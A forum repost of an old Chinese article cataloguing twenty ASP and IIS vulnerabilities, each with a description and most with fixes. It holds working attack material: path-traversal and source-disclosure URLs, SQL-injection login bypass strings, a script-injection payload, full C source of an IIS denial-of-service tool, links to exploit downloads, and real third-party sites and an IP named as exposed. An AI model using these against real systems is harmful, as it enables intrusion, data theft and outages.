台灣最大程式設計社群網站
線上人數
987
 
會員總數:246142
討論主題:189729
歡迎您免費加入會員
討論區列表 >> 網管 / 資安 / VM >> 有關ASP的漏洞
[]  
[我要回覆]
1
回應主題 加入我的關注話題 檢舉此篇討論 將提問者加入個人黑名單
有關ASP的漏洞
價值 : 0 QP  點閱數:2107 回應數:2
樓主

黑白轉貼
初學者
138 39
92 49
發送站內信

作者中原刺客    請到http://www.5gogo.com 參閱大量文章
1 在ASP程序後加個特殊符號,能看到ASP源程序 

受影響的版本: 

win95+pws 

IIS3.0 

98+pws4 不存在這個漏洞。 

IIS4.0以上的版本也不存在這個漏洞。 

問題描述: 

這些特殊符號包括小數點,%81, ::$DATA。比如: 

http://someurl/somepage.asp. 

http:// someurl/somepage.asp%81 

http:// someurl/somepage.asp::$DATA 

http:// someurl/somepage.asp %2e 

http:// someurl/somepage %2e%41sp 

http:// someurl/somepage%2e%asp 

http:// someurl/somepage.asp %2e 

http://someurl/msadc/samples/selector/showcode.asp?source=/msadc/samples/../../../../../../boot.ini (可以看到boot.ini的文件內容)那麼在安裝有IIS3.0和win95+PWS的瀏覽中就很容易看到somepage.asp的源程序。究竟是什麼原因造成了這種可怕的漏洞呢?究其根源其實是 Windows NT 特有的文件系統在做怪。有一點常識的人都知道在 NT 提供了一種完全不同於 FAT 的文件系統:NTFS,這種被稱之為新技術文件系統的技術使得 NT 具有了較高的安全機制,但也正是因為它而產生了不少令人頭痛的隱患。大家可能不知道, NTFS 支持包含在一個文件中 的多數據流,而這個包含了所有內容的主數據流被稱之為"DATA",因此使得在瀏覽器 裡直接訪問 NTFS 系統的這個特性而輕易的捕獲在文件中的腳本程序成為了可能。然而 直接導致 ::$DATA 的原因是由於 IIS 在解析文件名的時候出了問題,它沒有很好地規范文件名。 

解決方法和建議: 

如果是Winodws NT用戶,安裝IIS4.0或者IIS5.0,Windows2000不存在這個問題。如果是win95用戶,安裝WIN98和PWS4.0。 

2 ACCESS mdb 數據庫有可能被下載的漏洞 

問題描述: 

在用ACCESS做後台數據庫時,如果有人通過各種方法知道或者猜到了服務器的ACCESS數據庫的路徑和數據庫名稱,那麼他能夠下載這個ACCESS數據庫文件,這是非常危險的。比如:如果你的ACCESS數據庫book.mdb放在虛擬目錄下的database目錄下,那麼有人在瀏覽器中打入: 

http:// someurl/database/book.mdb如果你的book.mdb數據庫沒有事先加密的話,那book.mdb中所有重要的數據都掌握在別人的手中。 

解決方法: 

(1) 為你的數據庫文件名稱起個復雜的非常規的名字,並把他放在幾目錄下。所謂"非常規",打個比方:比如有個數據庫要保存的是有關書籍的信息,可不要把他起個"book.mdb"的名字,起個怪怪的名稱,比如d34ksfslf.mdb,再把他放在如./kdslf/i44/studi/ 的幾層目錄下,這樣黑客要想通過猜的方式得到你的ACCESS數據庫文件就難上加難了。 

(2)不要把數據庫名寫在程序中。有些人喜歡把DSN寫在程序中,比如: 

DBPath = Server.MapPath("cmddb.mdb") 

conn.Open "driver={Microsoft Access Driver (*.mdb)};dbq=" & DBPath 

假如萬一給人拿到了源程序,你的ACCESS數據庫的名字就一覽無余。因此建議你在ODBC裡設置數據源,再在程序中這樣寫: 

conn.open "shujiyuan" 

(3)使用ACCESS來為數據庫文件編碼及加密。首先在選取"工具->安全->加密/解密數據庫,選取數據庫(如:employer.mdb),然後接確定,接著會出現"數據庫加密後另存為"的窗口,存為:employer1.mdb。接著employer.mdb就會被編碼,然後存為employer1.mdb.. 

要注意的是,以上的動作並不是對數據庫設置密碼,而只是對數據庫文件加以編碼,目的是為了防止他人使用別的工具來查看數據庫文件的內容。 

接下來我們為數據庫加密,首先以打開經過編碼了的employer1.mdb,在打開時,選擇"獨佔"方式。然後選取功能表的"工具->安全->設置數據庫密碼",接著輸入密碼即可。 

為employer1.mdb設置密碼之後,接下來如果再使用ACCEES數據庫文件時,則ACCESS會先要求輸入密碼,驗証正確後才能夠啟動數據庫。 

不過要在ASP程序中的connection對象的open方法中增加PWD的參數即可,例如: 

param="driver={Microsoft Access Driver (*.mdb)};Pwd=yfdsfs" 

param=param&";dbq="&server.mappath("employer1.mdb") 

conn.open param 

這樣即使他人得到了employer1.mdb文件,沒有密碼他是無法看到employer1.mdb的。 

3 code.asp文件會泄漏ASP代碼 

問題描述: 

舉個很簡單的例子,在微軟提供的 ASP1.0 的例程裡有一個 .asp 文件專門用來查看其它 .asp 文件的源代碼,該文件為 ASPSamp/Samples/code.asp。如果有人把這個程序上傳到服務器,而服務器端沒有任何防范措施的話,他就可以很容易地查看他人的程序。例如 : 

  code.asp?source=/directory/file.asp 

不過這是個比較舊的漏洞了,相信現在很少會出現這種漏洞。 

下面這命令是比較新的: 

http://someurl/iissamples/exair/howitworks/code.asp?/lunwen/soushuo.asp=xxx.asp 

最大的危害莫過於asa文件可以被上述方式讀出;數據庫密碼以明文形式暴露在黑客眼前; 

問題解決或建議: 

對於IIS自帶的show asp code的asp程序文件,刪除該文件或者禁止訪問該目錄即可 

4、filesystemobject 組件篡改下載 fat 分區上的任何文件的漏洞 

問題描述: 

  IIS3、 IIS4 的 ASP 的文件操作都可以通過 filesystemobject 實現,包括文本文件的讀寫目錄操作、文件的拷貝改名刪除等,但是這個強大的功能也留下了非常危險的 "後門"。利用 filesystemobjet 可以篡改下載 fat 分區上的任何文件。即使是 ntfs 分區,如果權限沒有設定好的話,同樣也能破壞,一不小心你就可能遭受"滅頂之災 "。遺憾的是很多 webmaster 只知道讓 web 服務器運行起來,很少對 ntfs 進行權限 設置,而 NT 目錄權限的默認設置偏偏安全性又低得可怕。因此,如果你是 Webmaster,建議你密切關注服務器的設置,盡量將 web 目錄建在 ntfs 分區上,目錄不要設定 everyone full control,即使是是管理員組的成員一般也沒什麼必要 full control,只要有讀取、更改權限就足夠了。 也可以把filesystemobject的組件刪除或者改名。 

5、輸入標準的HTML語句或者javascript語句會改變輸出結果 

問題描述: 

在輸入框中打入標準的HTML語句會得到什麼相的結果呢?比如一個留言本,我們留言內容中打入: 

<font size=10>你好!</font> 

如果你的ASP程序中沒有屏蔽html語句,那麼就會改變"你好"字體的大小。在留言本中改變字體大小和貼圖有時並不是什麼壞事,反而可以使留言本生動。但是如果在輸入框中寫個 javascript 的死循環,比如:<a herf="http://someurl" onMouseover="while(1){window.close('/')}">特大新聞</a> 

那麼其他查看該留言的客人只要移動鼠標到"特大新聞",上就會使用戶的瀏覽器因死循環而死掉。 

解決方法和建議: 

編寫類似程序時應該做好對此類操作的防范,譬如可以寫一段程序判斷客戶端的輸入,並屏蔽掉所有的 HTML、 Javascript 語句。 

6、ASP程序密碼驗証漏洞 

漏洞描述: 

很多網站把密碼放到數據庫中,在登陸驗証中用以下sql,(以asp為例) 

sql="select * from user where username='"&username&"'and pass='"& pass &'" 

此時,您只要根據sql構造一個特殊的用戶名和密碼,如:ben' or '1'='1 

就可以進入本來你沒有特權的頁面。再來看看上面那個語句吧: 

sql="select * from user where username='"&username&"'and pass='"& pass&'" 

此時,您只要根據sql構造一個特殊的用戶名和密碼,如:ben' or '1'='1 

這樣,程序將會變成這樣: sql="select*from username where username="&ben'or'1'=1&"and pass="&pass&" 

or 是一個邏輯運算符,作用是在判斷兩個條件的時候,只要其中一個條件成立,那麼等式將會成立.而在語言中,是以1來代表真的(成立).那麼在這行語句中,原語句的"and"驗証將不再繼續,而因為"1=1"和"or"令語句返回為真值.。 

另外我們也可以構造以下的用戶名: 

username='aa' or username<>'aa' 

pass='aa' or pass<>'aa' 

相應的在瀏覽器端的用戶名框內寫入:aa' or username<>'aa 

口令框內寫入:aa' or pass<>'aa,注意這兩個字符串兩頭是沒有'的。 

這樣就可以成功的騙過系統而進入。 

後一種方法理論雖然如此,但要實踐是非常困難的,下面兩個條件都必須具備。 

1. 你首先要能夠準確的知道系統在表中是用哪兩個字段存儲用戶名和口令的,只有這樣你才能準確的構造出這個進攻性的字符串。實際上這是很難猜中的。 

2.系統對你輸入的字符串不進行有效性檢查。 

問題解決和建議: 

對輸入的內容驗証和"'"號的處理。 

7、IIS4或者IIS5中安裝有INDEX SERVER服務會漏洞ASP源程序 

問題描述: 

在運行IIS4或者IIS5的Index Server,輸入特殊的字符格式可以看到ASP源程序或者其它頁面的程序。甚至以及添打了最近關於參看源代碼的補丁程序的系統,或者沒有.htw文件的系統,一樣存在該問題。獲得asp程序,甚至global.asa文件的源代碼,無疑對系統是一個非常重大的安全隱患。往往這些代碼中包含了用戶密碼和ID,以及數據庫的源路徑和名稱等等。這對於攻擊者收集系統信息,進行下一步的入侵都是非常重要的。 

通過構建下面的特殊程序可以參看該程序源代碼: 

http://202.116.26.38/null.htw?CiWebHitsFile=/default.asp&CiRestriction=none&CiHiliteType=Full 

這樣只是返回一些html格式的文件代碼,但是當你添加%20到CiWebHitsFile的參數後面,如下: 

http://someurl/null.htw?CiWebHitsFile=/default.asp%20&CiRestriction=none&CiHiliteType=Full 

這將獲得該程序的源代碼。 

(注意:/default.asp是以web的根開始計算。如某站點的http:///welcome/welcome.asp 

那麼對應就是: 

http://someurl/null.htw?CiWebHitsFile=/welcome/welcome.asp%20&CiRestriction=none&CiHiliteType=Full 

由於'null.htw'文件並非真正的系統映射文件,所以只是一個儲存在系統內存中的虛擬文件。哪怕你已經從你的系統中刪除了所有的真實的.htw文件,但是由於對null.htw文件的請求默認是由webhits.dll來處理。所以,IIS仍然收到該漏洞的威脅。 

問題解決或者建議: 

如果該webhits提供的功能是系統必須的,請下載相應的補丁程序。如果沒必要,請用IIS的MMC管理工具簡單移除.htw的映象文件。 

補丁程序如下: 

Index Server 2.0: 

Intel: 

http://www.microsoft.com/downloads/release.asp?ReleaseID=17727 

Alpha: 

http://www.microsoft.com/downloads/release.asp?ReleaseID=17728 

Indexing Services for Windows 2000: 

Intel: 

http://www.microsoft.com/downloads/release.asp?ReleaseID=17726 

8、ASP聊天室程序的漏洞 

問題描述: 

如果聊天室ASP程序設計不當,很容易會給他人利用來做壞事:可以踢人,穿牆,搗亂. 

首先,我們看看聊天室裡有什麼漏洞,大家看看下面這段代碼: 

<html> 

<head> 

<body BGCOLOR="008888" TEXT="FFFFFF"> 

………………………… 

……………… 

……… 

<form NAME="sendmsg" ACTION="chatt.asp" METHOD="POST" target="mtalk1" 

OnSubmit="return chksend();"> 

<input type="hidden" name="username" value="測試者">****** 

<input type="hidden" name="sex" value="boy">******** 

<input type="hidden" name="message" value=""> 

<input type="hidden" name="a_method" value="sendtalk"> 

<div align="center"><center> 

<table CELLSPACING="0" CELLPADDING="0"> <tr> 

<td>發言: <input type="text" name="msg" size="60"> </td> 

<td><input type="submit" value="發 言"> </td> 

</tr> 

<tr> 

<td>悄悄:<input type=checkbox name=mtalk value=1> 

對象:<input type="text" name="betalk" size="10"> 

表情:<select NAME="exp" onChange="document.sendmsg.msg.focus();documen 

t.sendmsg.msg.select();" size="1"> 

……… 

…………… 

…………………… 

</form> 

<form name="getout" ACTION="chatt.pl" METHOD="POST"> 

<input type="hidden" name="username" value="測試者">!!!!!! 

<input type="hidden" name="a_method" value="getout">!!!! 

<input type="submit" value="退 出"></td> 

</form> 

</body> 

</html> 

以上這段代碼是我在某個聊天室用"測試者"作代號登陸後在發言幀當下來的, 這只是一小部份,但在這一小部份代碼裡面就有兩個漏洞。 

第一個漏洞 

大家看看上面的代碼加上"*"號的那兩句,其中第一句中的"測試者"就是我登陸的名字,還有,第二句中的"boy"是登陸時的性別,還有再看看下面我加上"!" 號的兩句,第一句裡還是有我登陸時的名字,這幾句都是我現在想說的兩個漏洞所在點。如果想在這個聊天室裡穿牆的話,只要把發言幀的代碼當下來另存,把"form"的"action"改成聊天室的地址,然後把再"*"號的第一句的"測試者"兩字改成想要的名字就可以了。也可以變換性別,只要把第二句的 "boy"改成"girl"。這就是所謂的穿牆術了。你甚至可以把它改成在線人的名字,然後發言,這樣就冒充別人的姓名談話。 

第二個漏洞 

踢人的漏洞就是這個了,我們看一下帶"!"號的第一句,上面有是合法用戶登陸的名字,再看第二句,他有"getout",再加上上面還有一段"form"標簽,這段就是我們退出聊天室時的代碼,這個有什麼用呢?我們先試試看,首先還是把"form"標簽的"action"改成 聊天室的地址,不然就不知道提交給哪個家伙了。然後把"風風"改成你想踢下去的人的名字然後單擊"退出",那就把那個人踢出聊天室了。這個就是聊天室踢人的漏洞。 

這兩個漏洞主要的原因是這兩個漏洞使服務程序不識別客戶發出的指令是不是合法用戶。 以上兩漏騙服務程序來更名發出發言,或更名退出,使得真正的使用者受害。 

當然上面的程序中還有一個漏洞,輸入框沒有對HTML語句和JAVASCRIPT語句做過濾。這個問題我們在漏洞5中已有詳細分析,這裡就不談了。 

問題解決或者建議: 

在程序設計中讓服務程序能識別到底是哪個家伙發出的指令就可以了,具體做法可以為每個聊天者發一個識別碼,象五筆字一樣,也可以用每個聊天者的密碼識別,也可以把聊天者的密碼隨機加密後用作識別等等 ,反正能使你的服務程序識別到底是誰發出的指令就可以了。 

9、NT iss4.0_AuthChangeUrl? 漏洞 

問題描述: 

在NT iis4.0,當輸入如下命令時 

http://someurl/_AuthChangeUrl?<font%20size=7%20color=red>你好 

你看到發生了什麼嗎?<font size=7 color=red>被解釋成功。出現了紅色的放大的"你好"字 

我們再來看看以下的命令: 

http://someurl/_AuthChangeUrl?<img%20src=file:\\\c:\1.jpg> 

上面的命令將顯示c:根目錄下的1.jpg圖片,如果1.jpg存在的話。 

http://someurl/_AuthChangeUrl?<a%20href=文件:/// c:/install.exe> 

上面的命令將下載C:根目錄下的install.exe文件。 

按照這種方法還能打開對方服務器上一個已經知道的文本文件。 

10、微軟開發的兩個動態庫存在後門允許用戶查看ASP文件源程序和下載整個網站 

問題描述: 

隨IIS和Frontpage Extention server而來的動態庫程序,存在後門,允許用戶遠程讀取asp、asa和CGI程序的源代碼。但這個動態庫要求有密碼,這個後門的密碼是: "Netscape engineers are weenies!" 

程序路徑為: /_vti_bin/_vti_aut/dvwssr.dll 

一般安裝了 Frontpage98的 IIS服務器都有這個路徑和文件。這個程序要求解碼後才能發揮讀取asp等源程序,有趣的是,這個密碼正是嘲弄其競爭對手Netscape的。 

現提供一個有該漏洞的國外網站給安全技術人員參考: 

http://62.236.90.195 

關於讀取源程序,請下載這個測試程序,用法為: 

[john@Linux john]$ ./dvwssr1.pl 62.236.90.195 /cqsdoc/showcode.asp 

測試程序: http://www.cnns.net/exploits/nt/dvwssr1.pl 

11、漏洞名稱:IIS4.0受HTTP的D.O.S攻擊漏洞 

問題描述: 

受影響的版本:IIS 4.0以及更早的版本 

這是一個很簡單的方法.發送很多的"Host:aaaaa...aa"到IIS: 

GET / HTTP/1.1 

Host: aaaaaaaaaaaaaaaaaaaaaaa....(200 bytes) 

Host: aaaaaaaaaaaaaaaaaaaaaaa....(200 bytes) 

...10,000 lines 

Host: aaaaaaaaaaaaaaaaaaaaaaa....(200 bytes) 

發送了象上面所寫的兩次請求後,對方的IIS在接受了這些請求後就會導致內存溢出.當然,它就不能對更多的請求作出反應。因為對方正缺乏虛擬內存,服務器也將停止運行。事後,對方不能通過重起web service來解決問題,而必須重啟服務器。 

12 漏洞名稱:IIS5.0超長URL拒絕服務漏洞 

問題描述: 

Microsoft IIS 5.0在處理以".ida"為擴展名的URL請求時,它會有兩種結果。一個可能的結果是服務器回復"URL String too long"的信息;或類似"Cannot find the specified path" 的信息。另一種可能就是服務器端服務停止,並返回"Access Violation"信息(即成功的實現了對服務器端的拒絕服務攻擊) 

當遠端攻擊者發出類似如下的請求時: 

http://someurl/...[25kb of '.']...ida 

服務器端會崩潰(導致拒絕服務攻擊)或返回該文件不在當前路徑的信息(暴露文件物理地址) 

問題解決或者建議: 

大多數情況下,站點很少使用擴展名為".ida"和".idq"的文件,可在ISAPI腳本映射中,將擴展名為".ida"和".idq"的應用程序映射刪除。 

13 請求不存在的擴展名為idq或ida 文件,會暴露服務器上得物理地址 

問題描述: 

通過請求一個不存在的擴展名為idq或ida得文件,IIS會暴露文件在服務器上得物理地址.這樣會給攻擊者提供了不必要的信息,而且,這對攻擊一個Web站點來說,是很有價值的第一步。 

測試程序: 

通過請求如: 

http://someurl/anything.ida 

http://someurl/lunwen/anything.ida 

或: 

http://someurl/anything.idq 

一個遠端用戶可以收到類似:'The IDQ d:\http\anything.idq could not be found'的響應。 

這樣的一個響應就會讓攻擊者獲得了Web站點的物理路徑,並且還可以獲得更多的有關該站點在服務器上的組織與結構。 

14、NT Index Server存在返回上級目錄的漏洞 

問題描述 

受影響的版本:Microsoft Index Server2.0 [WinNT4.0,WinNT 2000.0] 

Index Sserver2.0是WinNT4.0 Option Pack中附帶的一個軟件的工具,其中的功能已經被WinNT 2000中的Indexing Services所包含。當與IIS結合使用時,Index Server和Indexing Services便可以在最初的環境來瀏覽Web Search的結果,它將生成一個HTML文件,其中包含了查找後所返回頁面內容的簡短引用,並將其連接至所返回的頁面[即符合查詢內容的頁面],也就是超級連接。要做到這一點,它便需要支持由webhits.dll ISAPI程序處理的.htw文件類型。這個dll允許在一個模版中使用"../"用做返回上級目錄的字符串.這樣,了解服務器文件結構的攻擊者便可以遠程的閱讀該機器上的任意文件了。 

漏洞的利用: 

1)您的系統中存在.htw文件 

Index Server提供的這種超級連接允許Web用戶獲得一個關於他搜尋結果的返回頁,這個頁面的名字是與CiWebHitsFile變量一起通過.htw文件的,webhits.dll這個ISAPI程序將處理這個請求,對其進行超級連接並返回該頁面。因此用戶便可以控制通過.htw文件的CiWebHits變量,請求到任何所希望獲得的信息。另外存在的一個問題便是ASP或其他腳本文件的源代碼也可以利用該方法來獲得。 

上面我們說過webhits.dll後接上"../"便可以訪問到Web虛擬目錄外的文件,下面我們來看個例子: 

http://somerul/iissamples/issamples/oop/qfullhit.dll?CiWebHitsFile=/../../winnt/system32/logfiles/w3svc1/ex000121.log&CiRestriction=none&CiHiliteType=Full 

在瀏覽器中輸入該地址,便可以獲得該服務器上給定日期的Web日志文件. 

在系統常見的.htw樣本文件有: 

/iissamples/issamples/oop/qfullhit.htw 

/iissamples/issamples/oop/qsumrhit.htw 

/iissamples/exair/search/qfullhit.htw 

/iissamples/exair/search/qsumrhit.hw 

/iishelp/iis/misc/iirturnh.htw [這個文件通常受loopback限制] 

2)您的系統中不存在.htw文件 

調用一個webhits.dll ISAPI程序需要通過.htw文件來完成,如果您的系統中不存在.htw文件,雖然請求一個不存在的.htw文件將失敗,但是您的仍然存在可被利用的漏洞。其中的竅門便是利用inetinfo.exe來調用webhits.dll,這樣同樣能訪問到Web虛擬目錄外的文件。但我們需要通過制作一個的特殊的URL來完成該漏洞的利用。首先我們需要一個有效的文件資源,這個文件必須是一個靜態的文件,如".htm",".html",".txt"或者".gif",".jpg"。這些文件將用作模版來被webhits.dll打開。現在我們需要獲得inetinfo.exe來利用webhits.dll,唯一可以做到這點的便是請求一個.htw文件: 

http://url/default.htm.htw?CiWebHitsFile=/../../winnt/system32/logfiles/w3svc1/ex000121.log&CiRestriction=none&CiHiliteType=Full 

很明顯,這個請求肯定會失敗,因為系統上不存在這個文件。但請注意,我們現在已經調用到了webhits.dll,我們只要在一個存在的文件資源後面[也就是在.htw前面]加上一串特殊的數字( %20s ),[就是在例子中default.htm後面加上這個代表空格的特殊數字],這樣我們便可以欺騙過web服務器從而達到我們的目的.由於在緩沖部分中.htw文件名字部分被刪除掉[由於%20s這個符號],所以,當請求傳送到webhits.dll的時候,便可以成功的打開該文件,並返回給客戶端,而且過程中並不要求系統中真的存在.htw文件。 

問題解決和建議: 

微軟已經對該問題發放了補丁: 

Index Server 2.0: 

Intel: http://www.microsoft.com/downloads/release.asp?ReleaseID=17727 

Alpha: http://www.microsoft.com/downloads/release.asp?ReleaseID=17728 

Windows 2000 Indexing Services: 

Intel: http://www.microsoft.com/downloads/release.asp?ReleaseID=17726 

15 繞過驗証直接進入ASP頁面 

漏洞描述: 

如果用戶知道了一個ASP頁面的路徑和文件名,而這個文件又是要經過驗証才能進去的,但是用戶直接輸入這個ASP頁面的文件名,就有可能通過繞過驗証.比如:我在一些網站上這樣試過:首先關閉所有的瀏覽器,窗口,輸入: 

http://someurl/system_search.asp?page=1 

就樣就看到了只能系統員才能看到的頁面。當然有些人為了防止這種情況也會在system_search.asp的開頭加個判斷,比如:判斷session("system_name"),如果不為空時就能進入,這樣上面的url請求就不能直接進入管理員頁面了。但是這種方法也有一個漏洞,如果攻擊者先用一個合法的帳號,或者在本機上生成一個session,如session("system_name")="admi",那因為session("system_name")不為空,這樣也能直接進入繞過密碼,直接進入管理員頁面。 

解決方法: 

在需要驗証的ASP頁面開頭處進行相應的處理。比如:可跟蹤上一個頁面的文件名,只有從上一頁面轉進來的會話才能讀取這個頁面。 

16、IIS4.0/5.0特殊數據格式的URL請求遠程DOS攻擊 

漏洞描述: 

當在安裝有有IIS4.0或者IIS5.0的web服務上,請求一個具有特殊數據格式的URL,會拖慢受攻擊web 服務器的響應速度,或許會使其暫時停止響應。 

受影響的版本 

Microsoft Internet Information Server 4.0 

Microsoft Internet Information Server 5.0 

漏洞測試程序如下: 

http://202.96.168.51/download/exploits/iisdos.exe 

源代碼如下: 

http://202.96.168.51/download/exploits/iisdos.zip 

測試程序: 

只要打入:iisdos <***.***.**.**> 就能攻擊對方web 服務器 

問題解決: 

Internet Information Server 4.0: 

http://www.microsoft.com/Downloads/Release.asp?ReleaseID=20906 

Internet Information Server 5.0: 

http://www.microsoft.com/Downloads/Release.asp?ReleaseID=20904 

更多的信息: 

http://www.microsoft.com/technet/security/bulletin/ms00-030.asp 

Microsoft 安全公告MS00-021: 

http://www.microsoft.com/technet/security/bulletin/fq00-030.asp 

相關連接 

http://www.ussrback.com 

17 IIS web server DOS 

漏洞描述: 

默認情況下,IIS容易被拒絕服務攻擊。如果注冊表中有一個叫 "MaxClientRequestBuffer" 的鍵未被創建,針對這種NT系統的攻擊通常能奏效。 "MaxClientRequestBuffer" 這個鍵用於設置IIS允許接受的輸入量。如果 "MaxClientRequestBuffer" 設置為256(bytes),則攻擊者通過輸入大量的字符請求IIS將被限制在256字節以內。而系統的缺省設置對此不加限制,因此,利用下面的程序。可以很容易地對IIS server實行DOS攻擊: 

#include <stdio.h> 

#include <windows.h> 

#define MAX_THREAD 666 

void cng(); 

char *server; 

char *buffer; 

int port; 

int counter = 0; 

int current_threads = 0; 

int main(int argc, char **argv) 



WORD tequila; 

WSADATA data; 

int p; 

DWORD tid; 

HANDLE hThread[2000]; 

//This code is as is and sucks as it is. Won't exit correctly and a lot 

of other fun things. 

//That I didn't want to take the time to do. So just ctrl+c out of the 

code. 

//Load up cnghack.exe 3 times for charm. 

printf("CNG IIS DoS.nMarc@eEye.com\nhttp://www.eeye.com\n\"For my 

beloved.\"\n"); 

if(argc<2){ 

printf("Usage: %s [server] [port]\n",argv[0]); 

exit(1); 



buffer=malloc(17500); 

memset( buffer, 'A', strlen(buffer)); 

server=argv[1]; 

port=atoi(argv[2]); 

tequila = MAKEWORD( 1, 1 ); 

printf("Attempting to start winsock... "); 

if( (WSAStartup(tequila, &data)) !=0 ){ 

printf("failed to start winsock.\n"); 

exit(1); 



else{ 

printf("started winsock.\n\n"); 





counter = 0; 

for(p = 0 ; p < MAX_THREAD ; ++p ){ 

hThread[counter] = CreateThread(0, 

0, 

(LPTHREAD_START_ROUTINE) cng, 

( void * )++counter, 

0, 

&tid); 



Sleep(250); 

while( current_threads ) 

Sleep(250); 

counter = 0; 

printf("Terminated Threads.\n"); 

while (counter < MAX_THREAD) 



TerminateThread( hThread[counter], 0 ); 

++counter; 



WSACleanup(); 

return 0; 





void cng() 



int SockFD=0, p; 

struct sockaddr_in DstSAin; 

char GETKILLED[]="GET / HTTP/\r\n"; 

int die=1; 

printf("Entered CNG\n"); 

++current_threads; 

DstSAin.sin_family = AF_INET; 

DstSAin.sin_port = htons((u_short)port); 

DstSAin.sin_addr.s_addr=inet_addr( server ); 

if((SockFD = socket(AF_INET, SOCK_STREAM, 0)) < 0){ 

printf("Failed to create socket\n"); 

--current_threads; 

return; 



if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin))) 



p=send(SockFD,GETKILLED,strlen(GETKILLED),0); 

printf("Step 1: %i\n", p); 

for(;{ 

p=send(SockFD,buffer,strlen(buffer),0); 

printf("P: %i\n", p); 

//put in some code to check if send = -1 more then X times we drop 

the loop and exit the thread 

//bla bla bla i love the dirtiness of concept code. 





--current_threads; 

printf("Exited CNG\n"); 

return; 





cnghack.c works by doing the following: 

Connects to example.com 

Sends: GET / HTTP/[return][buffer] 



Where: 

[return] is just an \r\n 

[buffer] is a never ending stream of A's 

攻擊結果將導致NT系統的CPU佔用率達到 100% 

解決方案 

運行Regedt32.exe 

在: 

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\w3svc\parameters 

增加一個值: 

Value Name: MaxClientRequestBuffer 

Data Type: REG_DWORD 

設置為十進制 

具體數值設置為你想設定的IIS允許接受的URL最大長度 

18、MS ODBC數據庫連接溢出導致NT/9x拒絕服務攻擊 

漏洞描述: 

Microsoft ODBC數據庫在連接和斷開時可能存在潛在的溢出問題(Microsoft ACCESS數據庫相關)。 

如果不取消連接而直接和第二個數據庫相連接,可能導致服務停止。 

影響系統: 

ODBC 版本: 3.510.3711.0 

ODBC Access驅動版本: 3.51.1029.00 

OS 版本: Windows NT 4.0 Service Pack 5, IIS 4.0 (i386) 

Microsoft Office 97 Professional (MSO97.dll: 8.0.0.3507) 

漏洞檢測方法如下: 

ODBC 連接源名稱: miscdb 

ODBC 數據庫型號: MS Access 

ODBC 假設路徑: d:\data\misc.mdb 

ASP代碼如下: 

<% 

set connVB = server.createobject("ADODB.Connection") 

connVB.open "DRIVER={Microsoft Access Driver (*.mdb)}; DSN=miscdb" 



%> 



<html> 

<body> 

...lots of html removed... 

<!-- We Connect to DB1 --> 

<% 

set connGlobal = server.createobject("ADODB.Connection") 

connGlobal.Open "DSN=miscdb;User=sa" 

mSQL = "arb SQL Statement" 

set rsGlobal = connGlobal.execute(mSQL) 

While not rsGlobal.eof 

Response.Write rsGlobal("resultfrommiscdb") 

rsGlobal.movenext 

wend 

'rsGlobal.close 

'set rsGlobal = nothing 

'connGlobal.close 

'set connGlobal = nothing 

' Note we do NOT close the connection 

%> 



<!-- Call the same database by means of DBQ direct file access --> 

<% 

set connGlobal = server.createobject("ADODB.Connection") 

connGlobal.Open "DRIVER={Microsoft Access Driver (*.mdb)}; 

DBQ=d:\data\misc.mdb" 

mSQL = "arb SQL Statement" 

set rsGlobal = connGlobal.execute(mSQL) 



While not rsGlobal.eof 

Response.Write rsGlobal("resultfrommiscdb") 

rsGlobal.movenext 

wend 

rsGlobal.close 

set rsGlobal = nothing 

connGlobal.close 

set connGlobal = nothing 

' Note we DO close the connection 

%> 



在這種情況下,IIS處理進程將會停頓,CPU使用率由於inetinfo.exe進程將達到100%。只有重新啟動計算機才能恢復。 





19、ASP主頁.inc文件泄露問題 



漏洞描述: 



受影響的版本:任何提供ASP服務的系統 

遠程:YES / 本地:YES 



內容摘要: 



當存在asp的主頁正在制作並沒有進行最後調試完成以前,可以被某些搜索引擎機動追加為搜索對象,如果這時候有人利用搜索引擎對這些網頁進行查找,會得到有關文件的定位,並能在瀏覽器中察看到數據庫地點和結構的細節揭示完整的源代碼。 

具體操作過程是: 



- 利用搜索引擎查找包含+"Microsoft VBScript 運行時刻錯誤執行搜索" +".inc ," 的關鍵字 

- 搜索引擎會自動查找包含asp的包含文件(.inc)並顯示給用戶 

- 利用瀏覽器觀看包含文件的源代碼,其中可能會有某些敏感信息 



漏洞的利用: 



例子: 

- http://shopping.altavista.com/inc/lib/prep.lib 

暴露數據庫連接和性質, 資源地點, 小甜餅邏輯,服務器 IP 地址 

- http://www.justshop.com/SFLib/ship.inc 

暴露數據庫性質 

- http://www.bbclub.com:8013/includes/general.inc 

暴露 cobranding 

- http://www.salest.com/corporate/admin/include/jobs.inc 

暴露 datafile 地點和結構 

- http://www.bjsbabes.com/SFLib/design.inc 

包括數據庫結構為 StoreFront 2000 暴露源代碼 

- http://www.ffg.com/scripts/IsSearchEngine.inc 

暴露搜索引擎記錄文件 

- http://www.wcastl.com/include/functions.inc 

暴露成員電子郵件地址 

- http://www.wcastl.com/flat/comments.txt 

暴露成員私人的注釋文件 

- http://www.traveler.net/two/cookies.inc 

暴露 cookie 邏輯 

解決方案: 

- 搜索引擎應該不索引有 asp 運行時刻錯誤的頁 

- 程序員應該在網頁發布前對其進行徹底的調試 

- 安全專家需要固定 asp 包含文件以便外部的用戶不能看到它們 

asp 新聞組、站點提供兩個解決方案對這個漏洞進行修正,首先對 .inc 文件內容進行加密,其次也可以使用 .asp 文件代替 .inc 文件使用戶無法從瀏覽器直接觀看文件的源代碼。.inc 文件的文件名不用使用系統默認的或者有特殊含義容易被用戶猜測到的,盡量使用無規則的英文字母。 

20、利用Activer server explorer可對文件進行讀寫訪問 

漏洞描述: 

chinaasp的Activer server explorer可以很方便的對本地文件在線查看服務器上的目錄 在線查看文件的名稱、大小、類型、修改時間,在線編輯純文本文件,如.txt、.htm、.asp、.pl、.cgi等等,直接執行服務器上的文件。 

